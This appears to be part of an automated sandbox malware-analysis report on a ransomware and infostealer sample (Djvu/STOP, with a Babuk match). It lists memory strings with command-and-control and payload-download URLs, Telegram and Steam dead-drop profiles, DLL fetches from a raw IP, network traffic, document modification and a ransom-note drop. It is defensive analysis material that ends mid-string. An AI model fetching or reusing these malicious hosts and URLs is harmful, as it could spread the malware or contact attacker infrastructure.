Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe
Source: g0Zq7nJjus.exe, 00000008.00000002.3338915528.0000000000843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$run
Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$rune4
Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000658000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php
Source: g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php/
Source: g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4
Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000610000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true
Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000610000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=trueP
Source: g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4w
Source: build2.exe, 0000000A.00000003.2311925390.000000000312E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285853733.000000000312E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325287188.000000000312E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.1
Source: build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285936311.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2212050719.0000000000850000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000875000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285936311.0000000000875000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298848388.0000000000876000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000877000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15/
Source: build2.exe, 0000000A.00000003.2212050719.0000000000850000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000875000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285936311.0000000000875000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298848388.0000000000876000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15/F
Source: build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15/lick-to-Run
Source: build2.exe, 0000000A.00000003.2212050719.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15/y
Source: build2.exe, 0000000A.00000002.3337952118.0000000000576000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220
Source: build2.exe, 0000000A.00000002.3339750115.0000000000877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/
Source: build2.exe, 0000000A.00000003.3298848388.0000000000876000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/J
Source: build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/aming
Source: build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/cal
Source: build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/freebl3.dll
Source: build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/freebl3.dllf_
Source: build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/freebl3.dllk_
Source: build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/mozglue.dll
Source: build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/mozglue.dllft
Source: build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/mozglue.dllq_
Source: build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/msvcp140.dll
Source: build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/msvcp140.dllS
Source: build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/msvcp140.dllt
Source: build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/nss3.dll
Source: build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/nss3.dlldll
Source: build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/nss3.dllosoft
Source: build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/softokn3.dll
Source: build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/softokn3.dllt
Source: build2.exe, 0000000A.00000002.3337952118.0000000000499000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325413132.000000000084A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/sqlite3.dll
Source: build2.exe, 0000000A.00000003.2325153022.0000000000875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/sqlite3.dll6
Source: build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285936311.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/sqlite3.dllB
Source: build2.exe, 0000000A.00000003.2285936311.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/sqlite3.dllj
Source: build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325413132.000000000084A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/sqlite3.dllo
Source: build2.exe, 0000000A.00000003.3298248543.000000000312E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/vcruntime140.dll
Source: build2.exe, 0000000A.00000002.3337952118.00000000004DD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/vcruntime140.dlle
Source: build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.00000000004DD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/vcruntime140.dllge
Source: build2.exe, 0000000A.00000003.3298848388.0000000000876000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/vcruntime140.dllp
Source: build2.exe, 0000000A.00000002.3337952118.0000000000576000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220232a0icrosoft
Source: build2.exe, 0000000A.00000002.3337952118.000000000044F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220232a0oogle
Source: build2.exe, 0000000A.00000002.3337952118.0000000000576000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220232a0xe
Source: build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220oaming
Source: build2.exe, 0000000A.00000002.3337952118.00000000004DD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220ocal
Source: g0Zq7nJjus.exe, 0000000C.00000003.2266926446.000000000077F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000003.2334067164.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335813927.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: g0Zq7nJjus.exe, g0Zq7nJjus.exe, 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000632000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2122715284.000000000066E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000002.2268346044.000000000077F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000003.2266926446.000000000077F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000758000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335813927.0000000000788000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000003.2334067164.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335813927.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: g0Zq7nJjus.exe, 0000000C.00000002.2268346044.000000000077F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000003.2266926446.000000000077F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json(
Source: g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json6s
Source: g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json=
Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000632000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000003.2334067164.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335813927.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonC
Source: g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonE
Source: g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonE&
Source: g0Zq7nJjus.exe, 0000000F.00000002.2335813927.0000000000788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonJ
Source: g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonVB
Source: g0Zq7nJjus.exe, 0000000F.00000003.2334067164.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335813927.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsona
Source: g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335813927.0000000000788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonp
Source: g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsont
Source: build2.exe, 00000009.00000002.2197890010.0000000000800000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199601319247
Source: build2.exe, 00000009.00000002.2197890010.0000000000800000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199601319247helloWFQY12O5J6Nr.$v
Source: build2.exe, 0000000A.00000003.2212050719.0000000000821000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339219475.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: build2.exe, 0000000A.00000002.3337952118.000000000044F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2212050719.0000000000821000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2207119024.0000000000859000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325413132.000000000084A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2207119024.0000000000849000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339219475.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/bg3goty
Source: build2.exe, 0000000A.00000003.2212050719.0000000000821000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/bg3goty)
Source: build2.exe, 00000009.00000002.2197890010.0000000000800000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/bg3gotymedvsMozilla/5.0
Source: g0Zq7nJjus.exe, 00000006.00000003.2401280961.000000000321D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-
Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.0000000000864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-99MNqXMr
Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.0000000000843000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.000000000086E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-99MNqXMrdS
Source: build2.exe, 0000000A.00000003.2207119024.0000000000859000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325413132.000000000084A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49739 version: TLS 1.2

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

2_2_004822E0

Spam, unwanted Advertisements and Ransom Demands

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 5044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 5432, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 2.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.g0Zq7nJjus.exe.25e15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.g0Zq7nJjus.exe.25d15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.g0Zq7nJjus.exe.26c15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.g0Zq7nJjus.exe.26615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.g0Zq7nJjus.exe.26615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.g0Zq7nJjus.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.g0Zq7nJjus.exe.26e15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.g0Zq7nJjus.exe.25e15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.g0Zq7nJjus.exe.25d15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.g0Zq7nJjus.exe.26e15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 2924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 6028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 5044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 6960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 3200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 2448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: g0Zq7nJjus.exe PID: 280, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File moved: C:\Users\user\Desktop\QCFWYSKMHA.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File deleted: C:\Users\user\Desktop\QCFWYSKMHA.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File moved: C:\Users\user\Desktop\MXPXCVPDVN\NEBFQQYWPS.jpg	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File deleted: C:\Users\user\Desktop\MXPXCVPDVN\NEBFQQYWPS.jpg	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File moved: C:\Users\user\Desktop\MXPXCVPDVN.docx	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\appsglobals.txt -> decrypter\dvddecrypter.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\renderdoc\qrenderdoc.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\microsoft system center 2012 r2\service manager\microsoft.enterprisemanagement.servicemanager.ui.console.exe12438microsoft.appv.603b45325cf2a147a217bc0826e85cce12439{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\pro evolution soccer 2018\pes2018.exe12439c:\ignition\ignitioncasino.exe12440{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\splashdata\splashid safe\splashid safe.exe12440{6d809377-6af0-444b-8957-a3773f02200e}\native instruments\komplete kontrol\komplete kontrol.exe1244025342asdf3333.stoppuhrtimer_1xbryz0n7krfa!app12441{6d809377-6af0-444b-8957-a3773f02200e}\owasp\zed attack proxy\zap.exe12441{6d809377-6af0-444b-8957-a3773f02200e}\dell\toad for oracle 2015 r2 suite\toad for oracle 12.8\toad.exe12441{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mysql\mysql workbench 6.0 ce\mysqlworkbench.exe12441212377tik.7tik-tiktokforwindows_da70t93mgq52j!app12442{7c	Jump to dropped file
